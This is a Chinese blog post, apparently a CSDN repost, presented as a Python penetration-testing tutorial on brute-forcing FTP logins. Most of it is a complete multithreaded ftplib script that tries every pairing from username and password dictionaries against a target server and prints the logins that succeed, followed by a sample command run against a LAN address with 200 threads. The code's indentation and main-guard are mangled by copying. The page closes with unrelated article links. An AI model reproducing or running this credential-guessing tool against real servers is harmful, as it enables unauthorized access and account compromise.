Python 渗透测试:文件传输爆破( 21端口 )

简介: Python 渗透测试:文件传输爆破( 21端口 )

目录:
Python开发 代码:

(1)利用 FTP模块 实现协议爆破脚本.

(2)在命令行下执行脚本.(这里我服务器修改 FTP协议端口 为221. )

(3)效果图.

(4)端口连接.

免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

Python开发 代码:
(1)利用 FTP模块 实现协议爆破脚本.
import ftplib #FTP模块.
import sys #传递模块.
import threading #多线程用的.
import queue #多线程用的.

爆破要准备:IP,端口,用户名,密码字典.

def ftp_brute(ip,port):
ftp = ftplib.FTP() #创建一个对象.
ftp.connect(ip, int(port)) #尝试连接FTP,IP是输入的IP,port是输入的端口.
while not q.empty(): #接收下面传递的数据.
dict=q.get() #用get形式来接收数据.
dict=dict.split('|') #把数据从 | 进行拆分.
username=dict[0] #第一个数据.
password=dict[1] #第二个数据.
try: #异常处理(成功的).
ftp.login(username,password) #尝试登录,usef账号字典,passf密码字典.
ftp.retrlines('list') #获取列表信息.
print(username+'|'+password+'|成功!') #连接成功就打印账号和密码.
except ftplib.all_errors: #错误的.
print(username + '|' + password + '|失败!')
pass

if name == 'main':
ip=sys.argv[1] #输入的IP地址
port=sys.argv[2] #输入的端口
usefile=sys.argv[3] #输入的账号字典
passfile=sys.argv[4] #输入的密码字典
threading_unm =sys.argv[5] #输入线程数
q=queue.Queue() #传递模块.
for username in open(usefile): #开打输入的字典文件,每一行还要取出来.
for password in open(passfile): #开打输入的字典文件,每一行还要取出来.
username=username.replace('\n','') #把\n替换为空
password=password.replace('\n','') #把\n替换为空
zidian=username + '|' + password
q.put(zidian) #把账号和密码发送过去(发送到上面).

for x in range(int(threading_unm)):                     #设置多线程(上面有输入的)
    t=threading.Thread(target=ftp_brute,args=(ip,int(port)))    #利用threading.Thread模块,target要执行的函数名,处理args传入的参数
    t.start()                                           #开启.

(2)在命令行下执行脚本.( 这里我服务器修改 FTP 协议端口 为221端口)
D:\pycharm开发代码\渗透脚本>D:\python-3.10.4\python.exe 利用FTP模块实现协议爆破脚本.py 192.168.43.183 221 Uset.txt pass.txt 200

(3)效果图.

(4)端口连接.

文章知识点与官方知识档案匹配,可进一步学习相关知识
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_54977781/article/details/124855426

目录
相关文章
|
5天前
|
测试技术 数据库 UED
Python 性能测试进阶之路:JMeter 与 Locust 的强强联合,解锁性能极限
【9月更文挑战第9天】在数字化时代,确保软件系统在高并发场景下的稳定性至关重要。Python 为此提供了丰富的性能测试工具,如 JMeter 和 Locust。JMeter 可模拟复杂请求场景,而 Locust 则能更灵活地模拟真实用户行为。结合两者优势,可全面评估系统性能并优化瓶颈。例如,在电商网站促销期间,通过 JMeter 模拟大量登录请求并用 Locust 模拟用户浏览和购物行为,可有效识别并解决性能问题,从而提升系统稳定性和用户体验。这种组合为性能测试开辟了新道路,助力应对复杂挑战。
20 2
|
1天前
|
SQL JavaScript 前端开发
基于Python访问Hive的pytest测试代码实现
根据《用Java、Python来开发Hive应用》一文,建立了使用Python、来开发Hive应用的方法,产生的代码如下
12 6
基于Python访问Hive的pytest测试代码实现
|
4天前
|
安全 JavaScript 前端开发
自动化测试的魔法:如何用Python编写你的第一个测试脚本
【8月更文挑战第41天】在软件的世界里,质量是王道。而自动化测试,就像是维护这个王国的骑士,确保我们的软件产品坚不可摧。本文将引导你进入自动化测试的奇妙世界,教你如何使用Python这把强大的魔法杖,编写出能够守护你代码安全的第一道防护咒语。让我们一起开启这场魔法之旅吧!
|
9天前
|
测试技术 API Python
python在自动化测试中的经典例子
python在自动化测试中的经典例子
23 12
|
4天前
|
测试技术 持续交付 Apache
Python性能测试新风尚:JMeter遇上Locust,性能分析不再难🧐
【9月更文挑战第10天】随着软件应用的不断扩展,性能测试成为确保系统稳定运行的关键环节。本文通过对比Apache JMeter和Locust,探讨了如何在Python环境中利用这两款工具挖掘更多性能测试潜力。JMeter是一款成熟且功能强大的开源工具,支持多种协议,适用于各种应用的测试;而Locust则基于Python,通过简单脚本模拟HTTP请求,更适合Web应用测试。
13 2
|
9天前
|
缓存 测试技术 Apache
告别卡顿!Python性能测试实战教程,JMeter&Locust带你秒懂性能优化💡
【9月更文挑战第5天】性能测试是确保应用在高负载下稳定运行的关键。本文介绍Apache JMeter和Locust两款常用性能测试工具,帮助识别并解决性能瓶颈。JMeter适用于测试静态和动态资源,而Locust则通过Python脚本模拟HTTP请求。文章详细讲解了安装、配置及使用方法,并提供了实战案例,帮助你掌握性能测试技巧,提升应用性能。通过分析测试结果、模拟并发、检查资源使用情况及代码优化,确保应用在高并发环境下表现优异。
35 5
|
6天前
|
消息中间件 监控 测试技术
惊呆了!Python性能测试高手都用这些神器:JMeter+Locust,效率翻倍📈
【9月更文挑战第8天】在软件开发中,性能测试对确保应用稳定性和高效运行至关重要。对于Python开发者而言,选择合适的性能测试工具能显著提升测试效率并精准定位性能瓶颈。本文深入探讨了JMeter和Locust这两款工具的独特优势。JMeter作为跨平台的性能测试工具,支持多种协议,具备高度可定制性和扩展性;而Locust则专为Python应用设计,利用协程实现高并发,提供实时监控和分布式测试功能。两者结合使用,可在实际项目中实现1+1>2的效果,帮助开发者构建全面高效的测试方案,保障应用稳定运行。
30 1
|
11天前
|
IDE 测试技术 持续交付
Python自动化测试与单元测试框架:提升代码质量与效率
【9月更文挑战第3天】随着软件行业的迅速发展,代码质量和开发效率变得至关重要。本文探讨了Python在自动化及单元测试中的应用,介绍了Selenium、Appium、pytest等自动化测试框架,以及Python标准库中的unittest单元测试框架。通过详细阐述各框架的特点与使用方法,本文旨在帮助开发者掌握编写高效测试用例的技巧,提升代码质量与开发效率。同时,文章还提出了制定测试计划、持续集成与测试等实践建议,助力项目成功。
35 5
|
8天前
|
测试技术 Apache 数据库
从慢如蜗牛到飞一般的感觉!Python性能测试实战,JMeter&Locust助你加速🏃‍♂️
【9月更文挑战第6天】你的Python应用是否曾因响应缓慢而让用户望而却步?借助JMeter与Locust,这一切将迎刃而解。JMeter作为Apache基金会的明星项目,以其强大的跨平台和多协议支持能力,成为性能测试领域的魔法师;而Locust则以Python的简洁与高效,让性能测试更加灵活。通过实战演练,你可以利用这两款工具轻松识别并解决性能瓶颈,优化数据库查询、网络配置等,最终使应用变得敏捷高效,轻松应对高并发挑战。
11 1
|
16天前
|
人工智能 API Python
Openai python调用gpt测试代码
这篇文章提供了使用OpenAI的Python库调用GPT-4模型进行聊天的测试代码示例,包括如何设置API密钥、发送消息并接收AI回复。